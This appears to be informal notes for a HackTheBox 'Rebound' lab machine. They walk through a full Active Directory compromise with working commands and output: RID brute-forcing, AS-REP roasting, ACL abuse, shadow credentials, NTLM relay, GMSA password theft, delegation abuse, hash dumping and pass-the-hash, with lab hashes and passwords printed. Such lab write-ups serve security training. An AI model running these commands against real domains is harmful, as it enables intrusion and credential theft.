notes
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD-TCP:
| _services
| _dns-sd
| _udp
|_ local
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-31 11:52:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-31T11:54:08+00:00; +7h02m23s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-31T11:54:06+00:00; +7h02m22s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
|_ssl-date: 2026-03-31T11:54:08+00:00; +7h02m23s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-31T11:54:06+00:00; +7h02m22s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49692/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49693/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
49729/tcp open msrpc Microsoft Windows RPC
49750/tcp open msrpc Microsoft Windows RPC
61796/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=3/31%Time=69CB52A5%P=x86_64-pc-linux-gnu%r(DNS-
SF:SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04
SF:_udp\x05local\0\0\x0c\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h02m22s, deviation: 0s, median: 7h02m22s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-03-31T11:53:58
|_ start_date: N/A
We can authenticate to smb with guest account
_ Rebound nxc smb 10.129.232.31 -u 'asdf' -p '' --shares
SMB 10.129.232.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.31 445 DC01 [+] rebound.htb\asdf: (Guest)
SMB 10.129.232.31 445 DC01 [*] Enumerated shares
SMB 10.129.232.31 445 DC01 Share Permissions Remark
SMB 10.129.232.31 445 DC01 ----- ----------- ------
SMB 10.129.232.31 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.31 445 DC01 C$ Default share
SMB 10.129.232.31 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.31 445 DC01 NETLOGON Logon server share
SMB 10.129.232.31 445 DC01 Shared READ
SMB 10.129.232.31 445 DC01 SYSVOL Logon server share
Shared share is empty
smbclient //10.129.232.31/shared -U "guest%"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 26 03:16:36 2023
.. D 0 Sat Aug 26 03:16:36 2023
4607743 blocks of size 4096. 1025911 blocks available
smb: \>
By default, typical RID cycle attacks go up to RID 4000. For a larger domain, it may be necessary to expand that, so I’ll switch to lookupsid.py (though netexec works as well by adding the max number to the option like --rid-brute 10000). Trying 10,000 does find more users
nxc smb 10.129.232.31 -u 'asdf' -p '' --rid-brute 10000
SMB 10.129.232.31 445 DC01 1951: rebound\ppaul (SidTypeUser)
SMB 10.129.232.31 445 DC01 2952: rebound\llune (SidTypeUser)
SMB 10.129.232.31 445 DC01 3382: rebound\fflock (SidTypeUser)
SMB 10.129.232.31 445 DC01 5277: rebound\jjones (SidTypeUser)
SMB 10.129.232.31 445 DC01 5569: rebound\mmalone (SidTypeUser)
SMB 10.129.232.31 445 DC01 5680: rebound\nnoon (SidTypeUser)
SMB 10.129.232.31 445 DC01 7681: rebound\ldap_monitor (SidTypeUser)
SMB 10.129.232.31 445 DC01 7682: rebound\oorend (SidTypeUser)
SMB 10.129.232.31 445 DC01 7683: rebound\ServiceMgmt (SidTypeGroup)
SMB 10.129.232.31 445 DC01 7684: rebound\winrm_svc (SidTypeUser)
SMB 10.129.232.31 445 DC01 7685: rebound\batch_runner (SidTypeUser)
SMB 10.129.232.31 445 DC01 7686: rebound\tbrady (SidTypeUser)
SMB 10.129.232.31 445 DC01 7687: rebound\delegator$ (SidTypeUser)
We can try to find if there is a user who is asrep roastable.
impacket-GetNPUsers -dc-ip 10.129.232.31 -request 'rebound.htb/' -format hashcat -no-pass -usersfile users
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User ppaul doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User llune doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fflock doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jjones@REBOUND.HTB:9a43c270e2b922b4fbba44d399a82faf$fcdafcf063e051711ce6a1b9e32a81e4c9b82ba244991f163c7c1e1da4fc7b4a89e44e40fe462898621afb00017a9d48b3f63cfc14e32eee04c37e2734660509abdc0b29c0eca757e3b8449347af6c708dc6164e3b1a99d3091a7efb35d0205d33cc59a9bb12e1057dd936004fd906480da84891597d32d5dcb8590d0fbbc9363e937900bd0106e01e572dbcbe3b8fb99d6e5e2f42c647279fbe978fc9beb0788bac34de5bd95e9578225352f375e76603137e86b1a17915b3009f0c864834d0294fc9b90b632fb1748721352cdab0690be8d06df08ad8a2e15a33c5f72629129d7dabc88b73815b736f
[-] User mmalone doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nnoon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_monitor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User oorend doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User batch_runner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tbrady doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User delegator$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax
We did find a user, but there hash is not crackable.
This post explains it is possible to abuse a user with DONT_REQUIRE_PREAUTH to Kerberoast other users. without creds
Crack it with hashcat
Check for password reuse
Ntpdate
sudo systemctl stop systemd-timesyncd sudo systemctl disable systemd-timesyncd
sudo timedatectl set-ntp false
sudo ntpdate -u rebound.htb
Get bloodhound data but first I needed to get a tgt for oorend. Don't know why rusthound didn't work.
impacket-getTGT 'rebound.htb/oorend:1GR8t@$$4u'
export KRB5CCNAME=oorend.ccache
rusthound-ce -d rebound.htb -u oorend -p '1GR8t@$$4u' -o rusthound/ -k -f dc01.rebound.htb
We get a clear path from oorend to winrm_svc
Oorend can AddSelf to Servicemgmt group
bloodyAD -d rebound.htb --host dc01.rebound.htb -u 'oorend' -p '1GR8t@$$4u' add groupMember "SERVICEMGMT" oorend
[+] oorend added to SERVICEMGMT
With full control rights over the ServiceMGMT OU, I can give oorend GENERICALL over the users in the OU:
bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB
Now we can use shadow credentials to get winrm_svc's NTLM hash
certipy-ad shadow auto -u oorend@rebound.htb -account winrm_svc -dc-ip 10.129.232.31
Certipy v5.0.2 - by Oliver Lyak (ly4k)
Password:
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'dda56553-fce2-b0f6-a44e-75e2c09a95f5'
[*] Adding Key Credential with device ID 'dda56553-fce2-b0f6-a44e-75e2c09a95f5' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID 'dda56553-fce2-b0f6-a44e-75e2c09a95f5' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'winrm_svc@rebound.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[-] Could not update Key Credentials for 'winrm_svc' due to insufficient access rights: 00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
[*] NT hash for 'winrm_svc': 4469650fd892e98933b4536d2e86e512
Priv-esc was really hard for me. I tried a bunch of stuff like checking for the file system
ADCS etc. but nothing worked.
but if you check running processes you ll find that explorer.exe is running which means someone is logged in and has an interactive session.
We cannot enumerate using qwinsta
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> qwinsta *
qwinsta.exe : No session exists for *
+ CategoryInfo : NotSpecified: (No session exists for *:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
coz we are using evil-winrm and windows thinks that we are coming from a remote location, so it doesn't show us any output.
we can us runascs.exe for this
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> .\runascs.exe x x qwinsta -l 9001
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console tbrady 1 Active
tbraddy can ReadGMSAPassword of DELEGATOR$ user
our target is tbraddy we ll be using remotepotato.exe to get tbraddy's hash and relay it to our machine. we can do this coz we are both logged in on the same box.
POC is given on the site
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.232.31:9999
Less crack the hash.
now we ll use nxc to get NTLM hash for delegator$ account
nxc ldap rebound.htb -u tbrady -p 543BOMBOMBUNmanda --gmsa
LDAP 10.129.232.31 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb)
LDAPS 10.129.232.31 636 DC01 [+] rebound.htb\tbrady:543BOMBOMBUNmanda
LDAPS 10.129.232.31 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.232.31 636 DC01 Account: delegator$ NTLM: aafb74ba2eb5e5ff7003a9a54ad1f904 PrincipalsAllowedToReadPassword: tbrady
Check for delegation.
impacket-findDelegation 'rebound.htb/delegator$' -dc-ip rebound.htb -k -hashes :aafb74ba2eb5e5ff7003a9a54ad1f904
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting machine hostname
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
----------- ----------------------------------- -------------- --------------------- ----------
delegator$ ms-DS-Group-Managed-Service-Account Constrained http/dc01.rebound.htb No
ok lets do constrained delegation.
impacket-getST -spn http/dc01.rebound.htb -impersonate administrator 'rebound.htb/delegator$' -hashes :aafb74ba2eb5e5ff7003a9a54ad1f904
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable
It is using S4U2Self to get a ticket for the administrator user for delegator$, and then trying to use S4U2Proxy to forward it, but it doesn’t work. The -self flag tells getSt.py to stop after the S4U2Self, getting a ticket for administrator for delegator$. The resulting ticket is missing the forwardable flag:
There is no forwardable flag
We ll try RBCD now.
In the above constrained delegation, the DC tracked on the web server object that it was allowed to delegate (without protocol transition) for the DB. In resource-based constrained delegation, it’s similar, but the DC tracks a trusted list of accounts on the DB object what services are allowed to delegate to it, and the resource can modify it’s own list.
impacket-rbcd 'rebound.htb/delegator$' -hashes :aafb74ba2eb5e5ff7003a9a54ad1f904 -k -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -dc-ip dc01.rebound.htb -use-ldaps
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681)
_ Rebound impacket-findDelegation 'rebound.htb/delegator$' -dc-ip rebound.htb -k -hashes :aafb74ba2eb5e5ff7003a9a54ad1f904
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting machine hostname
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
------------ ----------------------------------- -------------------------- --------------------- ----------
ldap_monitor Person Resource-Based Constrained delegator$ No
delegator$ ms-DS-Group-Managed-Service-Account Constrained http/dc01.rebound.htb No
I’ll get a ST / TGS ticket as DC01$ on delegator$ with impacket-getST:
This ticket do have the forwardable flag
Now that I have a ST / TGS ticket as DC01$ for delegator
impacket-getST -spn http/dc01.rebound.htb -impersonate 'DC01$' 'rebound.htb/delegator$' -hashes :aafb74ba2eb5e5ff7003a9a54ad1f904 -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*] Using additional ticket DC01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache
Now we can dump hashes
KRB5CCNAME='DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache' impacket-secretsdump -no-pass -k dc01.rebound.htb -just-dc-ntlm
Rebound evil-winrm -i 10.129.232.31 -u administrator -H 176be138594933bb67db3b2572fc91b8
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
dir
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/1/2026 2:52 PM 34 root.txt
Root